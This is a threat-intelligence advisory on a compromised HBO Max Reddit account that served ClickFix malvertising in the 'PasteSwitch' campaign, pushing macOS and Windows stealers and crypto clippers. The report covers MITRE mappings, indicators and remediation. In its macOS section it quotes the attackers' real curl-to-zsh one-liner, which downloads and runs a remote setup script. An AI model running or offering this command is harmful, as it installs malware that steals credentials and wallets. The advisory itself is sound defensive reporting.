Compromised HBO Max Reddit Account Distributes ClickFix Malware in "PasteSwitch" Cross-Platform Malvertising Campaign
Compromised HBO Max Reddit Account Distributes ClickFix (TL-2026-2506), also tracked as PasteSwitch, is a high-severity malware campaign, first published 2026-09-14 and last reviewed 2026-09-15. It has no confirmed attribution, affects Apple macOS, maps to 22 MITRE ATT&CK techniques (T1005, T1027, T1041), and is covered by 9 detection rules and 39 indicators of compromise.
Key facts for TL-2026-2506
- Threat ID
- TL-2026-2506
- Also known as
- PasteSwitch, PasteSwitch ClickFix Campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-09-14
- Last reviewed
- 2026-09-15
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- mediaentertainment, cryptocurrency, technology, consumer
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 39
- Updates
- 2026-09-15 · revalidated 1× · latest source
Malware and tooling in Compromised HBO Max Reddit Account Distributes ClickFix
Malware and tooling: AMOS, AMOS Helper, Amatera Stealer, AnimateClipper, Fake Exodus Wallet, Fake Ledger Live, Fake Trezor Suite, InstallFix, MacSync, ZigClipper
Attackers hijacked the verified HBO Max Reddit account (u/hbomax) and used it to push 108 malicious advertisements over roughly 48 hours, luring victims with a fake "HBO Max for macOS" app and other themes into ClickFix-style copy-paste Terminal/PowerShell commands. Hudson Rock and ADAMnetworks linked the incident to a wider cross-platform operation dubbed "PasteSwitch" that delivers infostealers, loaders, cryptocurrency clippers, and fake crypto-wallet apps to Windows and macOS victims, using Binance Smart Chain contracts as mutable C2 dead-drops.
How Compromised HBO Max Reddit Account Distributes ClickFix works
On or before September 6, 2026, unknown attackers compromised the official, verified HBO Max account on Reddit (u/hbomax) and used it to run 108 distinct malicious advertisements over a roughly 48-hour blitz. The ads split across five lure themes: a non-existent "HBO Max for macOS" application (40 ads, hbomaxx[.]app), a fake OpenAI Codex developer tool (36 ads, codex-craft[.]com), a macOS disk-cleaning utility (15 ads, apple.clean-disk-guide[.]com), another developer-tool lure (11 ads, code-desktop[.]com), and an HBO Max-macOS variant (6 ads, hbomax-macos[.]com). Clicking an ad routed victims to a landing page (hbomaxx[.]us) that displayed a fake CAPTCHA/download flow ending in ClickFix instructions: a prompt to copy an attacker-supplied one-liner and paste it into macOS Terminal or the Windows Run/PowerShell prompt to 'fix' or 'install' something, which instead executed malware under the victim's own account, bypassing file-download security warnings entirely.
Security researchers at Hudson Rock, working with Kirk of ADAMnetworks (credit also to Tuxxin of Whack.sh and Emiliano of The Matrix Project), traced the incident to a much larger, longer-running operation they named 'PasteSwitch' — a reference to the attacker-supplied paste-and-run commands combined with a backend that dynamically switches lures, platforms, payloads, and theft methods per visitor. On macOS, the observed command pattern was a Base64-flavored curl-to-shell one-liner (e.g. `export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge.com/curl/a44a37519au/setup.sh"| zsh`) that staged MacSync (a stealer that exfiltrates browser credentials, Firefox/Gecko profiles, Telegram data, Apple Notes, and macOS keychain/password data via a /tmp/osalogging.zip staging archive) and an 'AMOS Helper' component related to the Atomic macOS Stealer (AMOS) family, which uses `xattr -c` and `chmod +x` to run native helpers persisting under a launch-agent label masquerading as `.com.apple.accountsd`, enrolling victims through a `/api/join/` endpoint and later polling `/api/tasks/` on 45.94.47.204.
On Windows, the chain used `mshta` and PowerShell to pull MP3/HTA polyglot files that built scheduled tasks, disabled AMSI, and used arithmetic-fog/opaque-predicate obfuscation to inject the Amatera Stealer PE directly into memory without writing to disk. The observed Amatera sample connected out to 77.91.65.13:443 while presenting facebook.com through its TLS SNI and HTTP Host header to blend in with legitimate traffic. Additional payloads included the InstallFix Windows loader, and — for crypto-focused lures — Swift-built counterfeit Ledger Live, Trezor Suite, and Exodus wallet applications engineered to harvest 12- and 24-word BIP39 recovery phrases, plus the AnimateClipper and ZigClipper clipboard-hijacking families that silently swap a copied cryptocurrency address for an attacker-controlled one.
The clippers' most distinctive feature is their command-and-control design: rather than hardcoding a domain, they query Binance Smart Chain (BSC) smart contracts that function as mutable, attacker-updatable 'dead drops' resolving to the currently active C2 domain. Between March and July 2026, researchers tracked 36 separate mainnet contract updates issued from the same controller wallet address, letting operators rotate burned domains without needing to re-compromise delivery infrastructure or touch the malware binaries themselves. Despite the disposable, rotating front-end lures and domains, researchers found the operation's backend consistent across months — the same route grammar, API/helper identifiers, telemetry endpoints, staging conventions, and persistence paths recurred across campaigns, indicating a single organized operation rather than copycats.
Reddit paused the compromised account's ads and referred the incident to its Security and Safety teams after being notified; Warner Bros. Discovery did not respond to press inquiries about how the account was compromised or who was responsible. No CVE applies — this is a social-engineering and account-takeover campaign, not a software vulnerability.
MITRE ATT&CK techniques used in TL-2026-2506
Collection
T1005 Data from Local System; T1560 Archive Collected Data
Defense Evasion
T1027 Obfuscated Files or Information; T1055 Process Injection; T1562 Impair Defenses; T1620 Reflective Code Loading
Exfiltration
T1041 Exfiltration Over C2 Channel
Persistence
T1053 Scheduled Task/Job; T1543 Create or Modify System Process; T1547 Boot or Logon Autostart Execution
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
Command and Control
T1071 Application Layer Protocol; T1102 Web Service
Discovery
T1082 System Information Discovery
stealth
T1218 System Binary Proxy Execution
Credential Access
T1555 Credentials from Password Stores
Resource Development
T1583 Acquire Infrastructure; T1586 Compromise Accounts; T1608 Stage Capabilities
Impact
defense-impairment
Affected products and versions in Compromised HBO Max Reddit Account Distributes ClickFix
- Apple — macOS
Vulnerable versions: All supported versions — user-executed malicious Terminal command via social engineering, not an OS vulnerability - Microsoft — Windows
Vulnerable versions: All supported versions — user-executed malicious PowerShell/mshta command via social engineering, not an OS vulnerability - Reddit — Reddit Ads Platform / u/hbomax verified account
Vulnerable versions: Account takeover of verified brand account used to serve malicious ads
Remediation for Compromised HBO Max Reddit Account Distributes ClickFix
Immediate actions
- Block/deny outbound access to known PasteSwitch domains: hbomaxx[.]us, hbomaxx[.]app, hbomax-macos[.]com, codex-craft[.]com, apple.clean-disk-guide[.]com, code-desktop[.]com, ember-bridge[.]com, loop-lumen[.]com, filequanticore[.]com, arkypc[.]com
- Block outbound connections to 77.91.65.13, 45.94.47.204, 165.22.199.85, and 164.90.161.147
- Alert users that HBO Max's verified Reddit account (u/hbomax) was compromised and that verified badges provide no assurance the linked content is safe
- Instruct users never to copy-and-paste attacker-supplied commands into Terminal, PowerShell, or the Windows Run dialog regardless of the stated reason (CAPTCHA fix, install, repair)
Workarounds
- Disable clipboard-paste execution into Terminal/Run/PowerShell via endpoint policy (e.g. macOS Configuration Profiles restricting Terminal, Windows AppLocker/Constrained Language Mode for PowerShell)
- Deploy application allow-listing/behavior-blocking tools (e.g. BlockBlock on macOS) to flag unsigned LaunchAgent/LaunchDaemon creation
Longer-term hardening
- Restrict or log Terminal/PowerShell/Run-dialog access for non-technical user populations via MDM/GPO policy
- Deploy EDR/behavioral detection tuned for mshta-spawned PowerShell, AMSI-bypass indicators, and in-memory PE injection from browser-spawned processes
- Monitor for LaunchAgent/LaunchDaemon labels masquerading as Apple system services (e.g. .com.apple.accountsd) on macOS fleets
- Ingest Binance Smart Chain controller-address monitoring / blockchain-C2 threat feeds to catch dead-drop contract rotations for known clipper families
- Never enter hardware-wallet recovery phrases into any desktop application prompt; only enter them directly on the physical hardware device
Timeline of Compromised HBO Max Reddit Account Distributes ClickFix
- PasteSwitch operators begin issuing Binance Smart Chain controller-contract updates to rotate clipper C2 domains, per Hudson Rock/ADAMnetworks tracking (36 mainnet changes observed through July 2026).
- Researcher-observed window of BSC contract-based C2 rotation for AnimateClipper/ZigClipper closes, having recorded 36 mainnet controller-address changes since March 2026.
- 108 distinct malicious ads begin running from u/hbomax across five lure themes (fake HBO Max for macOS, fake OpenAI Codex tool, macOS disk-cleaner, developer tools, HBO Max-macOS variant) over what becomes a roughly 48-hour period.
- The verified HBO Max Reddit account (u/hbomax) is compromised by unknown attackers, who begin using it to run malicious advertisements.
- A Reddit admin pauses the malicious ads on the compromised account and refers the incident to Reddit's Security and Safety teams.
- A Reddit user in r/cybersecurity flags a verified u/hbomax ad promoting a nonexistent 'HBO Max for macOS' application that redirects to a ClickFix terminal-command prompt.
- The Register, BleepingComputer, and TechCrunch publish coverage of the HBO Max Reddit compromise and the PasteSwitch campaign, noting Warner Bros. Discovery did not respond to inquiries.
- Hudson Rock and ADAMnetworks (with Tuxxin of Whack.sh and Emiliano of The Matrix Project) publish joint research linking the HBO Max Reddit incident to the broader 'PasteSwitch' ClickFix operation, detailing MacSync, AMOS Helper, InstallFix, Amatera Stealer, AnimateClipper, and ZigClipper.
Update history for TL-2026-2506
- 2026-09-15 — Hijacked HBO Max Reddit Account Pushes ClickFix Malvertising in "PasteSwitch" Campaign: What changed No severity/exploitability/status escalation — both reports agree HIGH/ACTIVE/ACTIVE. The newer report deepens the same incident with an earlier discovery timestamp, additional infrastructure, file hashes, and more MITRE techni
Sources cited for Compromised HBO Max Reddit Account Distributes ClickFix
- HBO Max Reddit account compromised to serve ClickFix attacks
- Hackers hijack HBO Max Reddit account to push malware in ClickFix ads
- HBO Max ads on a compromised Reddit account exposed a massive PasteSwitch ClickFix operation
- PasteSwitch: 108 crypto-theft ads on a hijacked HBO Max Reddit account
- ClickFix attacks are tricking Mac and Windows users into hacking themselves
- Compromised HBO Max Reddit Account Served PasteSwitch ClickFix Malware Ads
More in malware
- SmokeLoader Backdoor/Loader: Process Hollowing Injection into explorer.exe with Anti-VM/Anti-Debug Evasion (Smoky Spider)
- Multi-Stage Cobalt Strike Loader Deploys Stageless Beacon via Anti-Sandbox .NET Chain
- Access-Code-Gated Phishing Chain Delivers Vidar Infostealer via DocuSign Impersonation
- ScarfaceStealer: Electron-Delivered Infostealer with Sandbox-Scoring Evasion and Smart-Contract C2
- Gigabud Android Banking Trojan Clones Banking Apps via Hidden Work Profile (Vwork/GoldFactory)
Detection coverage for TL-2026-2506
As of 2026-09-15, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2506 across Splunk SPL, Microsoft KQL and Sigma, covering 39 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-2506
1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.